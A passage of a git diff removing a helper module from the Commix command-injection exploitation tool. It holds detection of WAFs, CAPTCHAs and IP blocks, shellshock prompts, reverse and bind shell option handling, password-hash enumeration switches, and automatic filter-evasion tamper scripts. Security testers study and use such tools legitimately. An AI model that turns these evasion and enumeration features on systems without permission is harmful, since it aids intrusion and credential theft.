(@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -pass \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py deleted file mode 100755 index ae17d32664..0000000000 --- a/src/core/injections/controller/checks.py +++ /dev/null @@ -1,1583 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import io -import re -import os -import sys -import glob -import json -import socket -import random -import string -import base64 -import gzip -import zlib -import traceback -from src.utils import menu -from src.utils import settings -from src.utils import simple_http_server -from collections import OrderedDict -from src.core.convert import hexdecode -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.thirdparty.flatten_json.flatten_json import flatten, unflatten_list - -if settings.IS_WINDOWS: - try: - import readline - except ImportError: - try: - import pyreadline as readline - except ImportError: - settings.READLINE_ERROR = True -else: - try: - import readline - if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): - import gnureadline as readline - except ImportError: - try: - import gnureadline as readline - except ImportError: - settings.READLINE_ERROR = True - -""" -Tab Autocompleter -""" -def tab_autocompleter(): - try: - # Tab compliter - readline.set_completer(menu.tab_completer) - # MacOSX tab compliter - if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''): - readline.parse_and_bind("bind ^I rl_complete") - # Unix tab compliter - else: - readline.parse_and_bind("tab: complete") - except AttributeError: - error_msg = "Failed while trying to use platform's readline library." - print(settings.print_error_msg(error_msg)) - -""" -Save command history. -""" -def save_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.write_history_file(cli_history) - except (IOError, AttributeError) as e: - warn_msg = "There was a problem writing the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) - -""" -Load commands from history. -""" -def load_cmd_history(): - try: - cli_history = os.path.expanduser(settings.CLI_HISTORY) - if os.path.exists(cli_history): - readline.read_history_file(cli_history) - except (IOError, AttributeError) as e: - warn_msg = "There was a problem loading the history file '" + cli_history + "'." - print(settings.print_warning_msg(warn_msg)) - -# If the value has boundaries. -def value_boundaries(value): - if not menu.options.batch: - question_msg = "It appears that the value '" + value + "' has boundaries. " - question_msg += "Do you want to inject inside? [Y/n] > " - procced_option = _input(settings.print_question_msg(question_msg)) - else: - procced_option = "" - if procced_option in settings.CHOICE_YES or len(procced_option) == 0: - value = re.search(settings.VALUE_BOUNDARIES, value).group(1) - elif procced_option in settings.CHOICE_NO: - pass - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + procced_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - return value - -# Ignoring the anti-CSRF parameter(s). -def ignore_anticsrf_parameter(parameter): - if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - info_msg = "Ignoring the parameter '" + parameter.split("=")[0] - info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." - print(settings.print_info_msg(info_msg)) - return True - -# Ignoring the Google analytics cookie parameter. -def ignore_google_analytics_cookie(cookie): - if cookie.upper().startswith(settings.GOOGLE_ANALYTICS_COOKIE_PREFIX): - info_msg = "Ignoring the Google analytics cookie parameter '" + cookie.split("=")[0] + "'." - print(settings.print_info_msg(info_msg)) - return True - -""" -Fix for %0a, %0d%0a separators -""" -def newline_fixation(payload): - payload = _urllib.parse.unquote(payload) - if "\n" in payload: - #_ = payload.find("\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\n","%0a") - if "\r" in payload: - #_ = payload.find("\r\n") + 1 - #payload = _urllib.parse.quote(payload[:_]) + payload[_:] - payload = payload.replace("\r","%0d") - return payload - -""" -Page enc/decoding -""" -def page_encoding(response, action): - _ = False - page = response.read() - if response.info().get('Content-Encoding') in ("gzip", "x-gzip", "deflate"): - try: - if response.info().get('Content-Encoding') == 'deflate': - data = io.BytesIO(zlib.decompress(page, -15)) - elif response.info().get('Content-Encoding') == 'gzip' or \ - response.info().get('Content-Encoding') == 'x-gzip': - data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) - page = data.read() - settings.PAGE_COMPRESSION = True - except Exception as ex: - if settings.PAGE_COMPRESSION is None: - warn_msg = "Turning off page compression." - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - settings.PAGE_COMPRESSION = False - try: - if action == "encode" and type(page) == str: - return page.encode(settings.UNICODE_ENCODING) - else: - return page.decode(settings.UNICODE_ENCODING) - except (UnicodeEncodeError, UnicodeDecodeError) as err: - err_msg = "The " + str(err).split(":")[0] + ". " - _ = True - except LookupError as err: - err_msg = "The '" + settings.DEFAULT_PAGE_ENCODING + "' is " + str(err).split(":")[0] + ". " - _ = True - except AttributeError: - pass - if _: - err_msg += "You are advised to rerun with" - err_msg += ('out', '')[menu.options.encoding == None] + " the option '--encoding'." - print(settings.print_critical_msg(str(err_msg))) - raise SystemExit() - -""" -Returns header value ignoring the letter case -""" -def get_header(headers, key): - value = None - for _ in (headers or {}): - if _.upper() == key.upper(): - value = headers[_] - break - return value - -""" -Checks regarding a recognition of generic "your ip has been blocked" messages. -""" -def blocked_ip(page): - if re.search(settings.BLOCKED_IP_REGEX, page): - warn_msg = "It appears that you have been blocked by the target server." - print(settings.print_bold_warning_msg(warn_msg)) - -""" -Checks regarding a potential browser verification protection mechanism. -""" -def browser_verification(page): - if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""): - settings.BROWSER_VERIFICATION = True - warn_msg = "Potential browser verification protection mechanism detected" - if re.search(r"(?i)CloudFlare", page): - warn_msg += " (CloudFlare)." - else: - warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) - -""" -Checks regarding a potential CAPTCHA protection mechanism. -""" -def captcha_check(page): - if not settings.CAPTCHA_DETECED and re.search(r"(?i)captcha", page or ""): - for match in re.finditer(r"(?si)", page): - if re.search(r"(?i)captcha", match.group(0)): - settings.CAPTCHA_DETECED = True - warn_msg = "Potential CAPTCHA protection mechanism detected" - if re.search(r"(?i)[^<]*CloudFlare", page): - warn_msg += " (CloudFlare)." - else: - warn_msg += "." - print(settings.print_bold_warning_msg(warn_msg)) - break - -""" -Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase. -""" -def total_of_requests(): - debug_msg = "Identified the following injection point with " - debug_msg += "a total of " + str(settings.TOTAL_OF_REQUESTS) + " HTTP(S) requests." - print(settings.print_bold_debug_msg(debug_msg)) - -""" -Url decode specific chars of the provided payload. -""" -def url_decode(payload): - rep = { - "%20": " ", - "%2B": "+", - "\n": "\\n" - } - rep = dict((re.escape(k), v) for k, v in rep.items()) - pattern = re.compile("|".join(rep.keys())) - payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) - return payload - -""" -Checking connection (resolving hostname). -""" -def check_connection(url): - hostname = _urllib.parse.urlparse(url).hostname or '' - if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", hostname): - if not any((menu.options.proxy, menu.options.tor, menu.options.offline)): - try: - info_msg = "Resolving hostname '" + hostname + "'." - print(settings.print_info_msg(info_msg)) - socket.getaddrinfo(hostname, None) - except socket.gaierror: - err_msg = "Host '" + hostname + "' does not exist." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except socket.error as err: - err_msg = "Problem occurred while " - err_msg += "resolving a host name '" + hostname + "'" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Check current assessment phase. -""" -def assessment_phase(): - if settings.DETECTION_PHASE: - return "detection" - else: - return "exploitation" - -""" -Check current assessment phase. -""" -def check_injection_level(): - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = 2 - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = 2 - - # Checking testable HTTP headers for user-agent / referer / host - if "user-agent" in menu.options.test_parameter or \ - "referer" in menu.options.test_parameter or \ - "host" in menu.options.test_parameter: - menu.options.level = 3 - -""" -Procced to the next attack vector. -""" -def next_attack_vector(technique, go_back): - while True: - if not menu.options.batch: - question_msg = "Continue with testing the " + technique + "? [Y/n] > " - next_attack_vector = _input(settings.print_question_msg(question_msg)) - else: - next_attack_vector = "" - if len(next_attack_vector) == 0: - next_attack_vector = "Y" - if next_attack_vector in settings.CHOICE_YES: - # Check injection state - assessment_phase() - return True - elif next_attack_vector in settings.CHOICE_NO: - return False - elif next_attack_vector in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + next_attack_vector + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Fix single / double quote escaping. -""" -def escaped_cmd(cmd): - if "\\\"" in cmd : - cmd = cmd.replace("\\\"","\"") - if "\'" in cmd : - cmd = cmd.replace("\'","'") - if "\$" in cmd : - cmd = cmd.replace("\$","$") - return cmd - -""" -Removing the first and/or last line of the html content (in case there are/is empty). -""" -def remove_empty_lines(content): - try: - if content[0] == "\n": - content = content[1:content.rfind("\n")] - if content[-1] == "\n": - content = content[:content.rfind("\n")] - except IndexError: - pass - return content - -""" -Check 'os_shell' options -""" -def check_os_shell_options(cmd, technique, go_back, no_result): - if cmd in settings.SHELL_OPTIONS: - if cmd == "?": - menu.os_shell_options() - elif cmd == "back": - if next_attack_vector(technique, go_back) == True: - return True - else: - return False - else: - return cmd - -""" -Procced with file-based semiblind command injection technique, -once the user provides the path of web server's root directory. -""" -def procced_with_file_based_technique(): - while True: - if not menu.options.batch: - question_msg = "Do you want to procced with the (semi-blind) " - question_msg += "file-based injection technique? [Y/n] > " - enable_fb = _input(settings.print_question_msg(question_msg)) - else: - enable_fb = "" - if len(enable_fb) == 0: - enable_fb = "Y" - if enable_fb in settings.CHOICE_YES: - return True - elif enable_fb in settings.CHOICE_NO: - return False - elif enable_fb in settings.CHOICE_QUIT: - raise SystemExit() - else: - err_msg = "'" + enable_fb + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check 'reverse_tcp' options -""" -def check_reverse_tcp_options(reverse_tcp_option): - if reverse_tcp_option == False: - return 0 - elif reverse_tcp_option == "back": - return 1 - elif reverse_tcp_option == "os_shell": - return 2 - elif reverse_tcp_option == "bind_tcp": - return 3 - -""" -Check 'bind_tcp' options -""" -def check_bind_tcp_options(bind_tcp_option): - if bind_tcp_option == False: - return 0 - elif bind_tcp_option == "back": - return 1 - elif bind_tcp_option == "os_shell": - return 2 - elif bind_tcp_option == "reverse_tcp": - return 3 - -""" -Ignore error messages and continue the tests. -""" -def continue_tests(err): - # Ignoring (problematic) HTTP error codes. - if menu.options.ignore_code: - for error_code in settings.HTTP_ERROR_CODES: - if menu.options.ignore_code == error_code: - settings.WAF_ENABLED = True - return True - - # Possible WAF/IPS/IDS - if (str(err.code) == settings.FORBIDDEN_ERROR or settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : - # Check if "--skip-waf" option is defined - # that skips heuristic detection of WAF/IPS/IDS protection. - settings.WAF_ENABLED = True - warn_msg = "It seems that target is protected by some kind of WAF/IPS/IDS." - print(settings.print_warning_msg(warn_msg)) - - try: - while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the error (" + str(err.code) - question_msg += ") message and continue the tests? [Y/n] > " - continue_tests = _input(settings.print_question_msg(question_msg)) - else: - continue_tests = "" - if len(continue_tests) == 0: - continue_tests = "Y" - if continue_tests in settings.CHOICE_YES: - return True - elif continue_tests in settings.CHOICE_NO: - return False - elif continue_tests in settings.CHOICE_QUIT: - return False - else: - err_msg = "'" + continue_tests + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except KeyboardInterrupt: - print("\n") + Back.RED + settings.ABORTION_SIGN + "Ctrl-C was pressed!" + Style.RESET_ALL - raise SystemExit() - -""" -Check if option is unavailable -""" -def unavailable_option(check_option): - warn_msg = "The '" + check_option + "' option " - warn_msg += "is not yet available for windows targets." - print(settings.print_warning_msg(warn_msg)) - -""" -Transformation of separators if time-based injection -""" -def time_based_separators(separator, http_request_method): - if separator == "||" or separator == "&&" : - separator = separator[:1] - if menu.options.data: - separator = _urllib.parse.quote(separator) - return separator - -""" -Information message if platform does not have -GNU 'readline' module installed. -""" -def no_readline_module(): - err_msg = "It seems that your platform does " - err_msg += "not have GNU 'readline' module installed." - err_msg += " Download the" - if settings.IS_WINDOWS: - err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." - else: - err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." - print(settings.print_critical_msg(err_msg)) - -""" -Check for incompatible OS (i.e Unix). -""" -def ps_incompatible_os(): - if not settings.TARGET_OS == "win": - warn_msg = "The identified OS seems incompatible with the provided '--ps-version' switch." - print(settings.print_warning_msg(warn_msg)) - return True - -""" -Check if PowerShell is enabled. -""" -def ps_check(): - if settings.PS_ENABLED == None and menu.options.is_admin or menu.options.users or menu.options.passwords: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The payloads in some options that you " - warn_msg += "have chosen, are requiring the use of PowerShell. " - print(settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "Do you want to use the \"--ps-version\" option " - question_msg += "so ensure that PowerShell is enabled? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" - if ps_check in settings.CHOICE_YES: - menu.options.ps_version = True - break - elif ps_check in settings.CHOICE_NO: - break - elif ps_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -If PowerShell is disabled. -""" -def ps_check_failed(): - while True: - if not menu.options.batch: - question_msg = "Do you want to ignore the above warning " - question_msg += "and continue the procedure? [Y/n] > " - ps_check = _input(settings.print_question_msg(question_msg)) - else: - ps_check = "" - if len(ps_check) == 0: - ps_check = "Y" - if ps_check in settings.CHOICE_YES: - break - elif ps_check in settings.CHOICE_NO: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + ps_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check if CGI scripts (shellshock injection). -""" -def check_CGI_scripts(url): - try: - CGI_SCRIPTS = [] - if not os.path.isfile(settings.CGI_SCRIPTS ): - err_msg = "The pages / scripts list (" + settings.CGI_SCRIPTS + ") is not found" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - if len(settings.CGI_SCRIPTS ) == 0: - err_msg = "The " + settings.CGI_SCRIPTS + " list is empty." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - with open(settings.CGI_SCRIPTS , "r") as f: - for line in f: - line = line.strip() - CGI_SCRIPTS.append(line) - except IOError: - err_msg = " Check if the " + settings.CGI_SCRIPTS + " list is readable or corrupted." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - for cgi_script in CGI_SCRIPTS: - if cgi_script in url and menu.options.shellshock == False: - warn_msg = "URL is probable to contain a script ('" + cgi_script + "') " - warn_msg += "vulnerable to shellshock. " - print(settings.print_warning_msg(warn_msg)) - while True: - if not menu.options.batch: - question_msg = "Do you want to enable the shellshock injection module? [Y/n] > " - shellshock_check = _input(settings.print_question_msg(question_msg)) - else: - shellshock_check = "" - if len(shellshock_check) == 0: - shellshock_check = "Y" - if shellshock_check in settings.CHOICE_YES: - menu.options.shellshock = True - break - elif shellshock_check in settings.CHOICE_NO: - menu.options.shellshock = False - break - elif shellshock_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - err_msg = "'" + shellshock_check + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check if http / https. -""" -def check_http_s(url): - if settings.CHECK_INTERNET: - url = settings.CHECK_INTERNET_ADDRESS - else: - try: - if re.search(r'^(?:http)s?://', url, re.I): - if not re.search(r"^https?://", url, re.I) and not re.search(r"^wss?://", url, re.I): - if re.search(r":443\b", url): - url = "https://" + url - else: - url = "http://" + url - settings.SCHEME = (_urllib.parse.urlparse(url).scheme.lower() or "http") if not menu.options.force_ssl else "https" - if menu.options.force_ssl and settings.VERBOSITY_LEVEL != 0: - debug_msg = "Forcing usage of SSL/HTTPS requests." - print(settings.print_debug_msg(debug_msg)) - else: - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ValueError as err: - err_msg = "Invalid target URL has been given." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return url - -""" -Force the user-defined operating system name. -""" -def user_defined_os(): - if menu.options.os: - if menu.options.os.lower() == "windows": - settings.TARGET_OS = "win" - return True - elif menu.options.os.lower() == "unix": - return True - else: - err_msg = "You specified wrong value '" + menu.options.os + "' " - err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Decision if the user-defined operating system name, -is different than the one identified by heuristics. -""" -def identified_os(): - if not menu.options.batch: - warn_msg = "Heuristics have identified different operating system (" - warn_msg += settings.TARGET_OS + ") than that you have provided." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Check for third-party (non-core) libraries. -""" -def third_party_dependencies(): - info_msg = "Checking for third-party (non-core) libraries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - - try: - import sqlite3 - except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'sqlite3' third-party library " - err_msg += "in order to store previous injection points and commands. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - try: - import readline - except ImportError: - if settings.IS_WINDOWS: - try: - import pyreadline - except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'pyreadline' third-party library " - err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - try: - import gnureadline - except ImportError: - print(settings.SINGLE_WHITESPACE) - err_msg = settings.APPLICATION + " requires 'gnureadline' third-party library " - err_msg += "in order to be able to take advantage of the TAB " - err_msg += "completion and history support features. " - print(settings.print_critical_msg(err_msg)) - pass - - print(settings.SINGLE_WHITESPACE) - info_msg = "All required third-party (non-core) libraries are seems to be installed." - print(settings.print_bold_info_msg(info_msg)) - -""" -Print the authentiation error message. -""" -def http_auth_err_msg(): - err_msg = "Use the '--auth-cred' option to provide a valid pair of " - err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" - err_msg += " or use the '--ignore-code=401' option to ignore HTTP error 401 (Unauthorized)" - err_msg += " and continue tests without providing valid credentials." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - -""" -Decision if the user-defined HTTP authenticatiob type, -is different than the one identified by heuristics. -""" -def identified_http_auth_type(auth_type): - if not menu.options.batch: - warn_msg = "Heuristics have identified different HTTP authentication type (" - warn_msg += auth_type.lower() + ") than that you have provided (" - warn_msg += menu.options.auth_type + ")." - print(settings.print_warning_msg(warn_msg)) - question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > " - proceed_option = _input(settings.print_question_msg(question_msg)) - else: - proceed_option = "" - if len(proceed_option) == 0: - proceed_option = "c" - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "s": - return False - elif proceed_option.lower() == "c": - return True - elif proceed_option.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + proceed_option + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Retrieve everything from the supported enumeration options. -""" -def enable_all_enumeration_options(): - # Retrieve current user name. - menu.options.current_user = True - # Retrieve current hostname. - menu.options.hostname = True - # Retrieve system information. - menu.options.sys_info = True - if settings.TARGET_OS == "win": - # Check if the current user have admin privileges. - menu.options.is_admin = True - # Retrieve PowerShell's version number. - menu.options.ps_version = True - else: - # Check if the current user have root privileges. - menu.options.is_root = True - # Retrieve system users. - menu.options.users = True - # Retrieve system users privileges. - menu.options.privileges = True - # Retrieve system users password hashes. - menu.options.passwords = True - -""" -Do replacement with the 'INJECT_HERE' tag, -if the wildcard char is provided. -""" -def wildcard_character(data): - _ = "" - for data in data.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith("Accept: ") and settings.WILDCARD_CHAR in data : - data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) - _ = _ + data + "\\n" - data = _.rstrip("\\n") - if data.count(settings.INJECT_TAG) > 1: - if settings.VERBOSITY_LEVEL == 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "You specified more than one injecton markers. " - err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - return data - -""" -Skip defined -""" -def check_skipped_params(check_parameters): - settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] - settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) - menu.options.test_parameter = True - -""" -Print the non-listed parameters. -""" -def print_non_listed_params(check_parameters, http_request_method, header_name): - if settings.TEST_PARAMETER: - testable_parameters = ",".join(settings.TEST_PARAMETER).replace(" ","") - testable_parameters = testable_parameters.split(",") - non_exist_param = list(set(testable_parameters) - set(check_parameters)) - if non_exist_param: - non_exist_param = ",".join(non_exist_param).replace(" ","") - non_exist_param = non_exist_param.split(",") - if menu.options.level >= 2 and \ - menu.options.test_parameter != None: - if menu.options.cookie != None: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - try: - non_exist_param.remove(cookie.split("=")[0].strip()) - except ValueError: - pass - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - try: - non_exist_param.remove(menu.options.cookie.split("=")[0]) - except ValueError: - pass - - # Remove the defined HTTP headers - for http_header in settings.HTTP_HEADERS: - if http_header in non_exist_param: - non_exist_param.remove(http_header) - - if non_exist_param: - non_exist_param_items = ",".join(non_exist_param) - warn_msg = "Skipping tests for " - warn_msg += "the provided parameter" + "s"[len(non_exist_param) == 1:][::-1] + " '" - warn_msg += non_exist_param_items + "' as" + (' they are', ' it is')[len(non_exist_param) == 1] - if menu.options.level >= 2 and header_name != "": - warn_msg += " not part of the " - warn_msg += settings.HTTP_HEADER - else: - warn_msg += " not part of the " - warn_msg += http_request_method - warn_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] - warn_msg += (' data', ' request')[http_request_method == settings.HTTPMETHOD.GET] - warn_msg += "." - print(settings.print_warning_msg(warn_msg)) - - if menu.options.skip_parameter != None: - check_skipped_params(check_parameters) - -""" -Lists available tamper scripts -""" -def list_tamper_scripts(): - info_msg = "Listing available tamper scripts:" - print(settings.print_info_msg(info_msg)) - if menu.options.list_tampers: - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - content = open(script, "rb").read().decode(settings.UNICODE_ENCODING) - match = re.search(r"About:(.*)\n", content) - if match: - comment = match.group(1).strip() - sub_content = Fore.MAGENTA + os.path.basename(script) + Style.RESET_ALL + " - " + comment - print(settings.print_sub_content(sub_content)) - -""" -Tamper script checker -""" -def tamper_scripts(): - if menu.options.tamper: - # Check the provided tamper script(s) - available_scripts = [] - provided_scripts = list(set(re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.tamper.lower()))) - for script in sorted(glob.glob(os.path.join(settings.TAMPER_SCRIPTS_PATH, "*.py"))): - available_scripts.append(os.path.basename(script.split(".py")[0])) - for script in provided_scripts: - if script in available_scripts: - pass - else: - err_msg = "The '" + script + "' tamper script does not exist. " - err_msg += "Use the '--list-tampers' option for listing available tamper scripts." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - info_msg = "Loading tamper script" + ('s', '')[len(provided_scripts) == 1] + ": " - print(settings.print_info_msg(info_msg)) - for script in provided_scripts: - if "hexencode" or "base64encode" == script: - settings.MULTI_ENCODED_PAYLOAD.append(script) - import_script = str(settings.TAMPER_SCRIPTS_PATH + script + ".py").replace("/",".").split(".py")[0] - print(settings.SUB_CONTENT_SIGN + import_script.split(".")[3]) - try: - module = __import__(import_script, fromlist=[None]) - if not hasattr(module, "__tamper__"): - err_msg = "Missing variable '__tamper__' " - err_msg += "in tamper script '" + import_script.split(".")[0] + "'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - except ImportError as err_msg: - print(settings.print_error_msg(str(err_msg) + ".")) - pass - - # Using too many tamper scripts is usually not a good idea. :P - _ = False - if len(provided_scripts) >= 3 and not settings.LOAD_SESSION: - warn_msg = "Using too many tamper scripts " - _ = True - elif len([x for x in provided_scripts if any(y in x for y in ["nested", "doublequotes"])]) == 2 and not settings.LOAD_SESSION: - _ = True - warn_msg = "The combination of the provided tamper scripts " - if _: - warn_msg += "is not a good idea (may cause false positive results)." - print(settings.print_warning_msg(warn_msg)) - -""" -Check if the payload output seems to be hex. -""" -def hex_output(payload): - if not settings.TAMPER_SCRIPTS['hexencode']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",hexencode" - else: - menu.options.tamper = "hexencode" - -""" -Check if the payload output seems to be base64. -""" -def base64_output(payload): - if not settings.TAMPER_SCRIPTS['base64encode']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",base64encode" - else: - menu.options.tamper = "base64encode" - -""" -Check for modified whitespaces. -""" -def whitespace_check(payload): - - _ = [] - whitespaces = ["${IFS}", "+", "%09", "%0b", "%20"] - for whitespace in whitespaces: - if whitespace in payload: - _.append(whitespace) - - # Enable the "space2ifs" tamper script. - if "${IFS}" in _: - if not settings.TAMPER_SCRIPTS['space2ifs']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2ifs" - else: - menu.options.tamper = "space2ifs" - settings.WHITESPACES[0] = "${IFS}" - - # Enable the "space2plus" tamper script. - elif "+" in _ and payload.count("+") >= 2: - if not settings.TAMPER_SCRIPTS['space2plus']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2plus" - else: - menu.options.tamper = "space2plus" - settings.WHITESPACES[0] = "+" - - # Enable the "space2htab" tamper script. - elif "%09" in _: - if not settings.TAMPER_SCRIPTS['space2htab']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2htab" - else: - menu.options.tamper = "space2htab" - settings.WHITESPACES[0] = "%09" - - # Enable the "space2vtab" tamper script. - elif "%0b" in _: - if not settings.TAMPER_SCRIPTS['space2vtab']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",space2vtab" - else: - menu.options.tamper = "space2vtab" - settings.WHITESPACES[0] = "%0b" - - # Default whitespace - else : - settings.WHITESPACES[0] = "%20" - - # Enable the "multiplespaces" tamper script. - count_spaces = payload.count(settings.WHITESPACES[0]) - if count_spaces >= 5: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",multiplespaces" - else: - menu.options.tamper = "multiplespaces" - settings.WHITESPACES[0] = settings.WHITESPACES[0] * int(count_spaces / 2) - -""" -Check for added caret between the characters of the generated payloads. -""" -def other_symbols(payload): - # Check for (multiple) backticks (instead of "$()") for commands substitution on the generated payloads. - if payload.count("`") >= 2: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",backticks" - else: - menu.options.tamper = "backticks" - settings.USE_BACKTICKS == True - - # Check for caret symbol - if payload.count("^") >= 10: - if not settings.TAMPER_SCRIPTS['caret']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",caret" - else: - menu.options.tamper = "caret" - from src.core.tamper import caret - payload = caret.tamper(payload) - - # Check for dollar sign followed by an at-sign - if payload.count("$@") >= 10: - if not settings.TAMPER_SCRIPTS['dollaratsigns']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",dollaratsigns" - else: - menu.options.tamper = "dollaratsigns" - from src.core.tamper import dollaratsigns - payload = dollaratsigns.tamper(payload) - - # Check for uninitialized variable - if payload.count("${uv}") >= 2: - if not settings.TAMPER_SCRIPTS['uninitializedvariable']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",uninitializedvariable" - else: - menu.options.tamper = "uninitializedvariable" - from src.core.tamper import uninitializedvariable - payload = uninitializedvariable.tamper(payload) - - # Check for environment variable value variable - if payload.count("${PATH%%u*}") >= 2: - if not settings.TAMPER_SCRIPTS['slash2env']: - if menu.options.tamper: - menu.options.tamper = menu.options.tamper + ",slash2env" - else: - menu.options.tamper = 